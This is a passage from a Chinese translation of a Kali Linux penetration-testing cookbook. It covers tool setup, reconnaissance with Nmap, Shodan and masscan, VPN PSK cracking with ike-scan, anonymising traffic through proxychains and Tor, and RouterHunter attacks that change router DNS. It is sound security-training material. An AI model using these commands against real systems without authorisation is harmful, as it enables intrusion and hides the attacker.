Kali-Linux：道德黑客秘籍（全）

Kali Linux：道德黑客秘籍（全）

原文：annas-archive.org/md5/7F6D5A44FB1E50E1F70AA8207514D628

译者：飞龙

协议：CC BY-NC-SA 4.0

前言

Kali Linux 是人们想到渗透测试时首选的发行版。每年 Kali 都会更新和改进，增加新工具，使其更加强大。我们每天都会看到新的漏洞被发布，随着技术的快速发展，攻击向量也在迅速演变。本书旨在涵盖用户在进行渗透测试时可能遇到的一些独特场景的方法。

本书专门讨论了使用 Kali Linux 从信息收集到报告的渗透测试活动。本书还涵盖了测试无线网络、Web 应用程序以及在 Windows 和 Linux 机器上提升权限以及利用软件程序漏洞的方法。

本书涵盖的内容

第一章，Kali – An Introduction，介绍了使用不同桌面环境安装 Kali，并通过安装一些自定义工具进行微调。

第二章，Gathering Intel and Planning Attack Strategies，介绍了使用多种工具（如 Shodan 等）收集关于目标的子域和其他信息的方法。

第三章，Vulnerability Assessment，讨论了在信息收集过程中发现的数据上寻找漏洞的方法。

第四章，Web App Exploitation – Beyond OWASP Top 10，讨论了一些独特漏洞的利用，比如序列化和服务器配置错误等。

第五章，Network Exploitation on Current Exploitation，侧重于不同工具，可用于利用网络中运行的不同服务（如 Redis、MongoDB 等）的漏洞。

第六章，Wireless Attacks – Getting Past Aircrack-ng，教授了一些破解无线网络的新工具，以及使用 aircrack-ng 的方法。

第七章，Password Attacks – The Fault in Their Stars，讨论了识别和破解不同类型哈希的方法。

第八章，Have Shell, Now What?，介绍了在 Linux 和基于 Windows 的机器上提升权限的不同方法，然后利用该机器作为网关进入网络的方法。

第九章，Buffer Overflows，讨论了利用不同的溢出漏洞，如 SEH、基于栈的溢出、egg hunting 等。

第十章，Playing with Software-Defined Radios，侧重于探索频率世界，并使用不同工具监视/查看不同频段传输的数据。

第十一章，Kali in Your Pocket – NetHunters and Raspberries，讨论了如何在便携设备上安装 Kali Linux，如树莓派或手机，并使用它进行渗透测试。

第十二章，Writing Reports，介绍了在渗透测试活动完成后撰写高质量报告的基础知识。

本书所需内容

所需的操作系统是 Kali Linux，建议至少 2GB 的 RAM 和 20-40GB 的硬盘空间。

设备所需的硬件包括 RTLSDR 设备（第十章，Playing with Software-Defined Radios）和以下链接中提到的设备（第十一章，Kali in Your Pocket – NetHunters and Raspberries）：

www.offensive-security.com/kali-linux-nethunter-download/

我们还需要第六章的 Alfa 卡，无线攻击-绕过 Aircrack-ng。

这本书是为谁准备的

本书面向具有 Kali Linux 基础知识并希望进行高级渗透测试技术的 IT 安全专业人员、渗透测试人员和安全分析师。

部分

在本书中，您会经常看到几个标题（准备就绪，如何做，它是如何工作的，还有更多，和另请参阅）。为了清晰地说明如何完成配方，我们使用这些部分如下：

准备就绪

本节告诉您可以在配方中期望什么，并描述了为配方设置任何软件或所需的任何初步设置的方法。

如何做…

本节包含了遵循该配方所需的步骤。

它是如何工作的…

本节通常包括对前一节中发生的事情的详细解释。

还有更多…

本节包含有关该配方的其他信息，以使读者对该配方有更多了解。

另请参阅

本节提供了有关配方的其他有用信息的链接。

约定

在本书中，您会发现许多文本样式，用于区分不同类型的信息。以下是这些样式的一些示例及其含义的解释。文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄显示如下：“要启动 fierce，我们键入fierce -h以查看帮助菜单。”

代码块设置如下：

if (argc < 2) 
    { 
        printf("strcpy() NOT executed....\n"); 
        printf("Syntax: %s <characters>\n", argv[0]); 
        exit(0); 
    } 

任何命令行输入或输出都以以下方式编写：

 fierce -dns host.com -threads 10

新术语和重要单词以粗体显示。例如，屏幕上看到的单词，例如菜单或对话框中的单词，会以这种方式出现在文本中：“我们右键单击并导航到搜索|所有模块中的所有命令。”

警告或重要说明会出现在这样。

提示和技巧会出现在这样。

第一章：Kali - 介绍

在本章中，我们将涵盖以下内容：

• 配置 Kali Linux

• 配置 Xfce 环境

• 配置 Mate 环境

• 配置 LXDE 环境

• 配置 e17 环境

• 配置 KDE 环境

• 使用自定义工具进行准备

• 渗透测试 VPN 的 ike-scan

• 设置 proxychains

• 使用 Routerhunter 进行狩猎

介绍

Kali 于 2012 年首次推出，采用全新的架构。这个基于 Debian 的发行版发布时带有 300 多个专门用于渗透测试和数字取证的工具。它由 Offensive Security Ltd 维护和资助，核心开发人员是 Mati Aharoni、Devon Kearns 和 Raphael Hertzog。

Kali 2.0 于 2016 年推出，带来了大量新的更新和新的桌面环境，如 KDE、Mate、LXDE、e17 和 Xfce 版本。

虽然 Kali 已经预装了数百种令人惊叹的工具和实用程序，以帮助全球的渗透测试人员高效地完成工作，但在本章中，我们主要将介绍一些自定义调整，以便用户可以更好地进行渗透测试体验。

配置 Kali Linux

我们将使用 Offensive Security 提供的官方 Kali Linux ISO 来安装和配置不同的桌面环境，如 Mate、e17、Xfce、LXDE 和 KDE 桌面。

准备就绪

要开始这个教程，我们将使用 Offensive Security 网站上列出的 64 位 Kali Linux ISO：

www.kali.org/downloads/

对于希望在虚拟机中配置 Kali 的用户，如 VMware、VirtualBox 等，可以从www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/下载 Linux 的预构建镜像。

在本章中，我们将使用虚拟镜像，并使用一些额外的工具进行定制。

如何操作...

您可以按照给定的步骤配置 Kali：

1. 双击 VirtualBox 镜像，它应该会在 VirtualBox 中打开：

1. 点击导入：

1. 启动机器并输入密码toor：

2. 现在，Kali 已启动，默认配置为 GNOME 桌面环境：

它是如何工作的...

使用预构建的镜像，您无需担心安装过程。您可以将其视为即插即用的解决方案。只需点击运行，虚拟机将启动 Linux，就像普通机器一样。

配置 Xfce 环境

Xfce 是 Unix 和类 Unix 平台的免费、快速和轻量级桌面环境。它由 Olivier Fourdan 于 1996 年开始。Xfce最初代表XForms Common Environment，但自那时起，Xfce 已经重写两次，不再使用 XForms 工具包。

如何操作...

要配置 Xfce 环境，请按照以下步骤进行操作：

1. 我们首先使用以下命令安装 Xfce 以及所有插件和好东西：

 apt-get install kali-defaults kali-root desktop-base xfce4
        xfce4-places-plugin xfce4-goodies

以下截图显示了前面的命令：

1. 在要求确认额外空间需求时键入Y。

2. 在出现的对话框上选择确定。

3. 我们选择 lightdm 作为默认的桌面管理器，并按下Enter键。

4. 安装完成后，我们打开一个终端窗口并输入以下命令：

 update-alternatives --config x-session-manager 

以下截图显示了前面命令的输出：

1. 选择选项xfce4-session（在我们的案例中是3）并按下Enter键。

2. 注销并重新登录，或者您可以重新启动机器，我们将看到 Xfce 环境：

配置 Mate 环境

Mate 桌面环境是在 GNOME 2 的基础上构建的。它于 2011 年首次发布。

如何操作...

要配置 Mate 环境，请按照以下步骤进行：

1. 我们首先使用以下命令来安装 Mate 环境：

 apt-get install desktop-base mate-desktop-environment 

以下截图显示了上述命令：

1. 当它要求确认额外的空间需求时，输入Y。

2. 安装完成后，我们将使用以下命令将 Mate 设置为我们的默认环境：

 update-alternatives --config x-session-manager

1. 选择选项mate-session（在我们的情况下是2）并按下Enter键：

1. 注销并重新登录或重新启动，我们将看到 Mate 环境：

配置 LXDE 环境

LXDE 是用 C 编写的自由开源环境，使用 GTK+工具包用于 Unix 和其他 POSIX 平台。轻量级 X11 桌面环境（LXDE）是许多操作系统的默认环境，如 Knoppix、Raspbian、Lubuntu 等。

如何做...

要配置 LXDE 环境，请按照以下步骤进行：

1. 我们首先使用以下命令来安装 LXDE：

 apt-get install lxde-core lxde

1. 当它要求确认额外的空间需求时，输入Y。

2. 安装完成后，我们打开一个终端窗口并输入以下命令：

 update-alternatives --config x-session-manager

以下截图显示了上述命令的输出：

1. 选择选项lxsession（在我们的情况下是4）并按Enter。

2. 注销并重新登录，我们将看到 LXDE 环境：

配置 e17 环境

Enlightenment，或者称为E，是 X Windows 系统的窗口管理器。它于 1997 年首次发布。它有很多功能，比如 engage、虚拟桌面、平铺等等。

如何做...

由于兼容性问题和依赖关系的麻烦，最好将 Kali 环境设置为不同的机器。这个 ISO 镜像（Kali 64 位 e17）已经在 Kali Linux 官方网站上提供，并可以从以下 URL 下载：

www.kali.org/downloads/。

配置 KDE 环境

KDE 是一个自由软件的国际社区。Plasma 桌面是 KDE 最受欢迎的项目之一；它是许多 Linux 发行版的默认桌面环境。它由 Matthias Ettrich 于 1996 年创立。

如何做...

要配置 KDE 环境，请按照以下步骤进行：

1. 我们使用以下命令来安装 KDE：

 apt-get install kali-defaults kali-root-login desktop-base
        kde-plasma-desktop 

以下截图显示了上述命令的输出：

1. 当它要求确认额外的空间需求时，输入Y。

2. 在弹出的两个窗口上点击 OK。

3. 安装完成后，我们打开一个终端窗口并输入以下命令：

 update-alternatives --config x-session-manager 

以下截图显示了上述命令的输出：

1. 选择 KDE 会话选项（在我们的情况下是2）并按Enter。

2. 注销并重新登录，我们将看到 KDE 环境：

Kali 已经提供了不同桌面环境的预构建镜像。这些可以从这里下载：www.kali.org/downloads/。

准备使用自定义工具

你将安装的这些工具都是在 GitHub 上开源的。它们更快，包含了人们在自己的渗透测试经验中在一段时间内包含的不同调整的集合。

准备工作

这是一些工具的列表，在我们深入渗透测试之前你需要的。不用担心，你将在接下来的几章中学习它们的用法，并且会有一些真实的例子。然而，如果你仍然希望在早期阶段学习基础知识，可以简单地用简单的命令完成：

• toolname -help

• toolname -h

如何做...

一些工具列在以下部分。

Dnscan

Dnscan 是一个使用单词列表解析有效子域的 Python 工具。要了解有关 Dnscan 的信息，请按照给定的步骤进行：

1. 我们将使用一个简单的命令来克隆 git 存储库：

 git clone https://github.com/rbsec/dnscan.git

以下屏幕截图显示了上述命令：

1. 您还可以从github.com/rbsec/dnscan下载并保存它。

2. 接下来我们进入下载 Dnscan 的目录。

3. 使用以下命令运行 Dnscan：

 ./dnscan.py -h

以下屏幕截图显示了上述命令的输出：

Subbrute

接下来我们将安装 subbrute。它非常快速，并提供了额外的匿名层，因为它使用公共解析器来暴力破解子域：

1. 这里的命令再次很简单：

 git clone https://github.com/TheRook/subbrute.git

以下屏幕截图显示了上述命令：

1. 或者您可以从github.com/TheRook/subbrute下载并保存它。

2. 安装完成后，我们将需要一个单词列表来运行它，我们可以下载 dnspop 的列表。这个列表也可以在之前的配方中使用：github.com/bitquark/dnspop/tree/master/results。

3. 一旦两者都设置好，我们就进入 subbrute 的目录，并使用以下命令运行它：

 ./subbrute.py

1. 要针对我们的单词列表扫描域名，使用以下命令：

 ./subbrute.py -s /path/to/wordlist hostname.com

Dirsearch

我们下一个工具是 dirsearch。顾名思义，它是一个简单的命令行工具，可用于暴力破解目录。它比传统的 DIRB 要快得多：

1. 安装的命令是：

 git clone https://github.com/maurosoria/dirsearch.git

1. 或者您可以从github.com/maurosoria/dirsearch下载并保存它。以下屏幕截图显示了上述命令：

1. 一旦克隆完成，就浏览到目录并使用以下命令运行工具：

 ./dirsearch.py -u hostname.com -e aspx,php

以下屏幕截图显示了上述命令的输出：

渗透测试 VPN 的 ike-scan

在渗透测试期间，我们可能会遇到 VPN 端点。但是，发现这些端点的漏洞并利用它们并不是一种众所周知的方法。VPN 端点使用Internet Key Exchange（IKE）协议在多个客户端之间建立安全关联以建立 VPN 隧道。

IKE 有两个阶段，第 1 阶段负责建立和建立安全认证通道，第 2 阶段加密和传输数据。

我们的兴趣重点将是第 1 阶段；它使用两种交换密钥的方法：

• 主模式

• 激进模式

我们将寻找使用 PSK 身份验证的激进模式启用的 VPN 端点。

准备工作

对于这个配方，我们将使用工具ike-scan和ikeprobe。首先，通过克隆 git 存储库来安装ike-scan：

git clone https://github.com/royhills/ike-scan.git

或者您可以使用以下 URL 从github.com/royhills/ike-scan下载它。

如何做...

要配置ike-scan，请按照给定的步骤进行：

1. 浏览到安装了ike-scan的目录。

2. 通过运行以下命令安装autoconf：

 apt-get install autoconf

1. 运行autoreconf --install来生成.configure文件。

2. 运行./configure。

3. 运行make来构建项目。

4. 运行make check来验证构建阶段。

5. 运行make install来安装ike-scan。

6. 要扫描主机进行激进模式握手，请使用以下命令：

 ike-scan x.x.x.x -M -A

以下屏幕截图显示了上述命令的输出：

1. 有时，我们会在提供有效组名（vpn）后看到响应：

 ike-scan x.x.x.x -M -A id=vpn

以下屏幕截图显示了上述命令的示例：

我们甚至可以使用以下脚本来暴力破解组名：

github.com/SpiderLabs/groupenum.

命令：

./dt_group_enum.sh x.x.x.x groupnames.dic

破解 PSK

要了解如何破解 PSK，请按照给定的步骤进行：

1. 在ike-scan命令中添加-P标志，它将显示捕获的哈希的响应。

2. 要保存哈希，我们提供一个带有-P标志的文件名。

3. 接下来，我们可以使用以下命令使用psk-crack：

 psk-crack -b 5 /path/to/pskkey

1. 其中-b是暴力破解模式，长度为5。

2. 要使用基于字典的攻击，我们使用以下命令：

 psk-crack -d /path/to/dictionary /path/to/pskkey 

以下屏幕截图显示了上述命令的输出：

它是如何工作的...

在侵略模式下，认证哈希作为对试图建立连接隧道（IPSEC）的 VPN 客户端的数据包的响应进行传输。该哈希未加密，因此允许我们捕获哈希并对其进行暴力攻击以恢复我们的 PSK。

这在主模式下是不可能的，因为它使用加密哈希以及六路握手，而侵略模式只使用三路握手。

设置 proxychains

有时，在执行渗透测试活动时，我们需要保持匿名。Proxychains 通过允许我们使用中间系统来帮助我们，其 IP 可以留在系统日志中，而不必担心追溯到我们。

Proxychains 是一种工具，允许任何应用程序通过代理（如 SOCKS5、Tor 等）进行连接。

如何做到...

Kali 中已经安装了 Proxychains。但是，我们需要将代理列表添加到其配置文件中，以便使用：

1. 为此，我们使用以下命令在文本编辑器中打开 proxychains 的配置文件：

 leafpad /etc/proxychains.conf

以下屏幕截图显示了上述命令的输出：

我们可以在上述突出显示的区域中添加所有我们想要的代理，然后保存。

Proxychains 还允许我们在连接到代理服务器时使用动态链或随机链。

1. 在配置文件中取消注释dynamic_chain或random_chain：

使用 tor 的 proxychains

要了解tor，请按照给定的步骤进行：

1. 要使用 proxychains 与 tor，我们首先需要使用以下命令安装 tor：

 apt-get install tor

1. 安装完成后，我们通过在终端中输入tor来运行 tor。

2. 然后我们打开另一个终端，并输入以下命令以通过 proxychains 使用应用程序：

 proxychains toolname -arguments

以下屏幕截图显示了上述命令的示例：

使用 Routerhunter 进行狩猎

Routerhunter 是一种工具，用于在网络上查找易受攻击的路由器并对其进行各种攻击，以利用 DNSChanger 漏洞。该漏洞允许攻击者更改路由器的 DNS 服务器，从而将所有流量定向到所需的网站。

准备工作

对于这个教程，您需要再次克隆一个 git 存储库。

我们将使用以下命令：

git clone https://github.com/jh00nbr/RouterHunterBR.git

如何做到...

执行RouterHunterBR.php，按照给定的步骤进行：

1. 文件克隆后，进入目录。

2. 运行以下命令：

 php RouterHunterBR.php -h

以下屏幕截图显示了上述命令的输出：

1. 我们可以为 Routerhunter 提供 IP 范围、DNS 服务器 IP 等。

第二章：收集情报和规划攻击策略

在本章中，我们将介绍以下配方：

• 获取子域列表

• 使用 Shodan 进行娱乐和盈利

• Shodan Honeyscore

• Shodan 插件

• 使用 Nmap 查找开放端口

• 使用 Nmap 绕过防火墙

• 搜索开放目录

• 使用 DMitry 进行深度探测

• 寻找 SSL 漏洞

• 使用 intrace 探索连接

• 深入挖掘使用 theharvester

• 查找 Web 应用程序背后的技术

• 使用 masscan 扫描 IP

• 使用 Kismet 进行嗅探

• 使用 firewalk 测试路由器

介绍

在上一章中，我们学习了狩猎子域的基础知识。在本章中，我们将深入一点，看看其他可用于收集目标情报的不同工具。我们首先使用 Kali Linux 中臭名昭著的工具。

收集信息是进行渗透测试的一个非常关键的阶段，因为在此阶段收集的所有信息将完全决定我们在接下来的每一步。因此，在进入利用阶段之前，我们尽可能多地收集信息非常重要。

获取子域列表

我们并不总是处于客户已经定义了需要进行渗透测试的详细范围的情况。因此，我们将使用以下提到的配方尽可能多地收集信息，以进行渗透测试。

Fierce

我们首先跳转到 Kali 的终端，使用第一个和最常用的工具fierce。

如何做...

以下步骤演示了如何使用fierce：

1. 要启动 fierce，我们输入fierce -h来查看帮助菜单：

1. 执行子域扫描我们使用以下命令：

 fierce -dns host.com -threads 10

以下截图显示了前述命令的输出：

DNSdumpster

这是 Hacker Target 的一个免费项目，用于查找子域。它依赖于scans.io/来获取结果。它也可以用于获取网站的子域。我们应该始终倾向于使用多个工具进行子域枚举，因为我们可能会从其他工具中得到第一个工具未能捕获的信息。

如何做...

使用起来非常简单。我们输入要获取子域的域名，它会显示结果：

使用 Shodan 进行娱乐和盈利

Shodan 是世界上第一个搜索连接到互联网的设备的搜索引擎。它由 John Matherly 于 2009 年推出。Shodan 可用于查找网络摄像头、数据库、工业系统、视频游戏等。Shodan 主要收集运行的最流行的网络服务的数据，如 HTTP、HTTPS、MongoDB、FTP 等等。

做好准备

要使用 Shodan，我们需要在 Shodan 上创建一个帐户。

如何做...

要了解 Shodan，请按照给定的步骤进行：

1. 打开浏览器，访问www.shodan.io：

1. 我们首先执行一个简单的搜索，查找正在运行的 FTP 服务。为此，我们可以使用以下 Shodan dorks：port:"21"。以下截图显示了搜索结果：

1. 可以通过指定特定的国家/组织来使此搜索更加具体：port:"21" country:"IN"。以下截图显示了搜索结果：

1. 现在我们可以看到所有在印度运行的 FTP 服务器；我们还可以看到允许匿名登录的服务器以及它们正在运行的 FTP 服务器的版本。

2. 接下来，我们尝试组织过滤器。可以通过输入port:"21" country:"IN" org:"BSNL"来完成，如下截图所示：

Shodan 还有其他标签，可以用来进行高级搜索，比如：

• net：扫描 IP 范围

• city：按城市过滤

更多详细信息可以在www.shodan.io/explore找到。

Shodan Honeyscore

Shodan Honeyscore 是另一个出色的 Python 项目。它帮助我们确定我们拥有的 IP 地址是蜜罐还是真实系统。

如何做...

以下步骤演示了如何使用 Shodan Honeyscore：

1. 要使用 Shodan Honeyscore，我们访问honeyscore.shodan.io/：

1. 输入我们要检查的 IP 地址，就这样！

Shodan 插件

为了使我们的生活更加轻松，Shodan 还为 Chrome 和 Firefox 提供了插件，可以用来在我们访问的网站上检查开放端口！

如何做...

我们可以从www.shodan.io/下载并安装插件。浏览任何网站，我们会发现通过点击插件，我们可以看到开放的端口：

另请参阅

• 来自第一章的Dnscan步骤，Kali – An Introduction

• 使用 theharvester 深入挖掘的步骤

使用 Nmap 查找开放端口

网络映射器（Nmap）是由 Gordon Lyon 编写的安全扫描程序。它用于在网络中查找主机和服务。它最早是在 1997 年 9 月发布的。Nmap 具有各种功能以及用于执行各种测试的脚本，例如查找操作系统、服务版本、暴力破解默认登录等。

一些最常见的扫描类型是：

• TCP connect()扫描

• SYN 隐秘扫描

• UDP 扫描

• Ping 扫描

• 空闲扫描

如何做...

以下是使用 Nmap 的步骤：

1. Nmap 已经安装在 Kali Linux 中。我们可以输入以下命令来启动它并查看所有可用的选项：

 nmap -h

以下屏幕截图显示了前面命令的输出：

1. 要执行基本扫描，我们使用以下命令：

 nmap -sV -Pn x.x.x.x

以下屏幕截图显示了前面命令的输出：

1. -Pn表示我们不通过首先执行 ping 请求来检查主机是否正常。-sV参数是列出在找到的开放端口上运行的所有服务。

2. 我们可以使用的另一个标志是-A，它会自动执行操作系统检测、版本检测、脚本扫描和跟踪路由。命令是：

 nmap -A -Pn x.x.x.x

1. 要扫描 IP 范围或多个 IP，我们可以使用以下命令：

 nmap -A -Pn x.x.x.0/24

使用脚本

Nmap 脚本引擎（NSE）允许用户创建自己的脚本，以便在运行扫描时并行执行这些脚本来执行不同的任务。它们可用于执行更有效的版本检测、利用漏洞等。使用脚本的命令是：

nmap -Pn -sV host.com --script dns-brute

前面命令的输出如下：

这里的脚本dns-brute尝试通过针对一组常见子域名名称进行暴力破解来获取可用的子域名。

另请参阅

• 使用 Shodan 进行娱乐和盈利的步骤

• 有关脚本的更多信息可以在官方 NSE 文档中找到nmap.org/nsedoc/

使用 Nmap 绕过防火墙

在渗透测试期间，我们通常会遇到受防火墙或入侵检测系统（IDS）保护的系统。Nmap 提供了不同的方法来绕过这些 IDS/防火墙，执行对网络的端口扫描。在这个步骤中，我们将学习一些绕过防火墙的方法。

TCP ACK 扫描

ACK 扫描（-sA）发送确认包而不是 SYN 包，防火墙不会创建 ACK 包的日志，因为它会将 ACK 包视为对 SYN 包的响应。它主要用于映射防火墙的类型。

如何做...

ACK 扫描是为了显示未经过滤和经过滤的端口，而不是打开的端口。

ACK 扫描的命令是：

nmap -sA x.x.x.x

让我们看看正常扫描与 ACK 扫描的比较：

在这里，我们看到正常扫描和 ACK 扫描之间的区别：

它是如何工作的...

过滤和未过滤端口的扫描结果取决于使用的防火墙是有状态的还是无状态的。有状态防火墙检查传入的 ACK 数据包是否是现有连接的一部分。如果数据包不是任何请求连接的一部分，它将被阻止。因此，在扫描期间，端口将显示为已过滤。

而在无状态防火墙的情况下，它不会阻止 ACK 数据包，端口将显示为未过滤。

TCP 窗口扫描

窗口扫描（-sW）几乎与 ACK 扫描相同，只是显示打开和关闭的端口。

如何做到...

让我们看看正常扫描和 TCP 扫描之间的区别：

1. 运行的命令是：

 nmap -sW x.x.x.x

1. 让我们看看正常扫描与 TCP 窗口扫描的比较：

1. 我们可以在以下屏幕截图中看到两种扫描之间的区别：

空闲扫描

空闲扫描是一种高级技术，其中没有发送到目标的数据包可以追溯到攻击者的机器。它需要指定一个僵尸主机。

如何做到...

执行空闲扫描的命令是：

nmap -sI zombiehost.com domain.com

它是如何工作的...

空闲扫描基于可预测的僵尸主机的 IPID 或 IP 分段 ID。首先检查僵尸主机的 IPID，然后欺骗性地从该主机向目标主机发送连接请求。如果端口是打开的，将向僵尸主机发送确认，这将重置连接，因为它没有打开这样的连接的历史记录。接下来，攻击者再次检查僵尸上的 IPID；如果它改变了一步，这意味着从目标接收到了 RST。但如果 IPID 改变了两步，这意味着从目标主机接收到了一个数据包，并且在僵尸主机上有一个 RST，这意味着端口是打开的。

搜索打开的目录

在上一篇文章中，我们讨论了如何在网络 IP 或域名上找到开放的端口。我们经常看到开发人员在不同的端口上运行 Web 服务器。有时开发人员也可能会留下错误配置的目录，其中可能包含对我们有用的信息。我们已经在上一章中介绍了 dirsearch；在这里，我们将看看其他选择。

dirb 工具

dirb工具是一个众所周知的工具，可以用来暴力破解打开的目录。虽然它通常速度较慢，不支持多线程，但仍然是发现可能由于错误配置而留下的目录/子目录的好方法。

如何做到...

键入以下命令启动工具：

    dirb https://domain.com

以下屏幕截图显示了上述命令的输出：

还有更多...

dirb中还有其他选项，也很方便：

• -a：指定用户代理

• -c：指定 cookie

• -H：输入自定义标头

• -X：指定文件扩展名

另请参阅

• 来自第一章的Dirsearch食谱，Kali-简介

使用 DMitry 进行深度魔法

Deepmagic 信息收集工具（DMitry）是一个用 C 编写的命令行工具开源应用程序。它具有收集有关目标的子域、电子邮件地址、whois 信息等能力。

如何做到...

要了解 DMitry，请按照以下步骤：

1. 我们使用一个简单的命令：

        dmitry -h

以下屏幕截图显示了上述命令的输出：

1. 接下来，我们尝试执行电子邮件、whois、TCP 端口扫描和子域搜索，使用以下命令：

        dmitry -s -e -w -p domain.com

以下屏幕截图显示了上述命令的输出：

寻找 SSL 漏洞

今天大多数 Web 应用程序都使用 SSL 与服务器通信。sslscan是一个很好的工具，用于检查 SSL 是否存在漏洞或配置错误。

如何做...

要了解sslscan，请按照以下步骤：

1. 我们将查看帮助手册，以了解该工具具有的各种选项：

        sslscan -h    

以下截图显示了上述命令的输出：

1. 要对主机运行该工具，我们输入以下内容：

        sslscan host.com:port 

以下截图显示了上述命令的输出：

另请参阅

• 来自第五章的一个流血的故事教程，当前利用的网络利用

TLSSLed 也是我们可以在 Kali 中使用的替代工具，用于对 SSL 进行检查。

使用 intrace 探索连接

intrace工具是一个枚举现有 TCP 连接上的 IP 跳数的好工具。它对于防火墙绕过和收集有关网络的更多信息可能是有用的。

如何做...

运行以下命令：

    intrace -h hostname.com -p port -s sizeofpacket

以下截图显示了上述命令的输出：

深入挖掘 theharvester

theharvester工具是一个很好的渗透测试工具，因为它可以帮助我们找到有关公司的大量信息。它可以用于查找电子邮件帐户、子域等。在这个教程中，我们将学习如何使用它来发现数据。

如何做...

命令非常简单：

    theharvester -d domain/name -l 20 -b all    

以下截图显示了上述命令的输出：

它是如何工作的...

在前面的教程中，-d是域名或我们想要搜索的关键字，-l是限制搜索结果的数量，-b是我们希望工具在收集信息时使用的来源。该工具支持 Google、Google CSE、Bing、Bing API、PGP、LinkedIn、Google Profiles、people123、Jigsaw、Twitter 和 Google Plus 来源。

查找 Web 应用程序背后的技术

在不知道 Web 应用程序的实际技术的情况下开始对 Web 应用程序进行渗透测试是没有意义的。例如，当技术实际上是 ASP.NET 时，运行 dirsearch 查找扩展名为.php的文件将是完全无用的。因此，在这个教程中，我们将学习使用一个简单的工具whatweb来了解 Web 应用程序背后的技术。它在 Kali 中默认安装。

它也可以从以下网址手动安装github.com/urbanadventurer/WhatWeb。

如何做...

使用whatweb可以这样做：

1. 可以使用以下命令启动该工具：

        whatweb  

以下截图显示了上述命令的输出：

1. 域名可以作为参数给出，也可以使用--input-file参数输入多个域名：

        whatweb hostname.com  

以下截图显示了上述命令的输出：

使用 masscan 扫描 IP

masscan工具是一个了不起的工具；它是最快的端口扫描工具。当以每秒 1000 万个数据包的速度传输时，它被认为是扫描整个互联网。当我们确切地知道我们在网络中寻找哪些端口时，它是 Nmap 的一个很好的替代品。

它类似于 Nmap，但不支持默认端口扫描，所有端口必须使用-p指定。

如何做...

masscan工具使用简单。我们可以使用以下命令开始对网络的扫描：

    masscan 192.168.1.0/24 -p 80,443,23   

以下截图显示了上述命令的输出：

我们还可以使用--max-rate指定数据包速率。默认情况下，速率是每秒 100 个数据包。不建议使用它，因为它会给网络设备带来很大的负载。

使用 Kismet 进行侦听

Kismet 是一个二层无线网络探测器。它非常方便，因为在企业环境中进行渗透测试时，我们可能也需要查找无线网络。Kismet 可以嗅探 802.11a/b/g/n 流量。它适用于支持原始监控模式的任何无线网卡。

在这个步骤中，我们将学习如何使用 Kismet 来监视 Wi-Fi 网络。

如何做...

要了解 Kismet，请按照以下步骤进行：

1. 我们使用以下命令启动 Kismet：

        kismet  

以下截图显示了上述命令的输出：

1. 一旦 GUI 启动，它将要求我们启动服务器，我们选择“是”：

1. 接下来，我们需要指定一个源接口，在我们的情况下是wlan0，所以我们输入那个。确保在 Kismet 中初始化之前，接口处于监视模式：

1. 现在我们将看到我们周围所有无线网络的列表：

1. 默认情况下，Kismet 会监听所有频道，因此我们可以通过从 Kismet 菜单中选择“配置频道...”来指定特定频道：

1. 我们可以在这里选择频道号：

1. Kismet 还允许我们查看信噪比。我们可以通过在 Windows 菜单中选择“通道详情...”来查看：

1. 在无线侦察时，这种信噪比非常有用：

使用 firewalk 测试路由器

firewalk工具是一个网络安全侦察工具，可以帮助我们弄清楚我们的路由器是否真的在做它们应该做的工作。它尝试找出路由器/防火墙允许什么协议，以及它将阻止什么。

这个工具在渗透测试中非常有用，可以验证企业环境中的防火墙策略。

如何做...

以下是使用firewalk的步骤：

1. 如果找不到firewalk，我们可以使用以下命令进行安装：

        apt install firewalk

1. 我们可以使用以下命令运行 firewalk：

        firewalk -S1-23 -i eth0 192.168.1.1 192.168.10.1   

以下截图显示了上述命令的输出：

工作原理...

在上述命令中，-i用于指定网络接口，-S用于指定我们要测试的端口号，接下来的两个是路由器的 IP 地址和我们要检查与我们的路由器相对的主机的 IP 地址。

Nmap 还包括一个执行 firewalk 的脚本。更多信息可以在nmap.org/nsedoc/找到。

第三章：漏洞评估

在本章中，我们将介绍以下食谱：

• 使用臭名昭著的 Burp

• 使用 Wsdler 利用 WSDL

• 使用入侵者

• 使用 Vega 进行 Web 应用程序渗透测试

• 探索 SearchSploit

• 使用 RouterSploit 利用路由器

• 使用 Metasploit

• 自动化 Metasploit

• 编写自定义资源脚本

• Metasploit 中的数据库

介绍

在之前的章节中，我们介绍了收集有关目标信息的各种方法。现在，一旦我们拥有了所有这些数据，我们就需要开始寻找漏洞。要成为一名优秀的渗透测试人员，我们需要确保没有忽视任何细节。

使用臭名昭著的 Burp

Burp 已经存在多年了；它是由 PortSwigger web security 用 Java 构建的多个工具的集合。它有各种产品，如解码器、代理、扫描器、入侵者、重复者等等。Burp 具有一个扩展程序，允许用户加载不同的扩展，可以用来使渗透测试更加高效！您将在即将到来的食谱中了解其中一些。

如何做...

让我们看看如何有效地使用 Burp：

1. Kali 已经有一个免费版本的 Burp，但我们需要一个完整版本才能充分利用其功能。所以，我们打开 Burp：

1. 点击开始 Burp，我们将看到 Burp 加载：

1. 在我们开始寻找错误之前，我们首先安装一些可能会派上用场的扩展。从 Extender 菜单中选择 BApp Store：

1. 我们将看到一个扩展列表。我们将不得不安装一些扩展，如下所示：

• J2EEScan

• Wsdler

• Java 反序列化扫描器

• HeartBleed

1. 选择每个扩展后，点击安装。

2. 一旦扩展都设置好了，我们就准备开始扫描。我们启动浏览器并进入其偏好设置：

1. 在网络设置中，我们添加我们的 HTTP 代理 IP 和端口：

1. 我们可以在 Burp 的选项选项卡下的代理菜单下验证这一点：

1. 点击拦截开启请求拦截：

1. 现在我们浏览我们需要扫描的网站。

2. 一旦所有请求都被捕获，我们可以简单地转到目标并选择我们的域。

3. 要执行扫描，我们可以选择单个请求并将其发送进行主动扫描：

1. 或者，我们可以选择整个域发送进行主动扫描：

1. 一旦我们将请求发送到扫描器，我们将转到扫描器选项卡并选择选项。在这里，我们可以告诉扫描器我们希望在我们的应用程序中查找什么：

1. 我们可以在扫描队列选项卡中看到我们的扫描结果：

1. 扫描队列选项卡可以在以下截图中看到：

以下截图显示了更详细的扫描队列选项卡的结果：

虽然我们这里只使用了几个扩展，但你也可以查看整个列表并选择你自己的扩展。扩展很容易设置。

使用 Wsdler 利用 WSDL

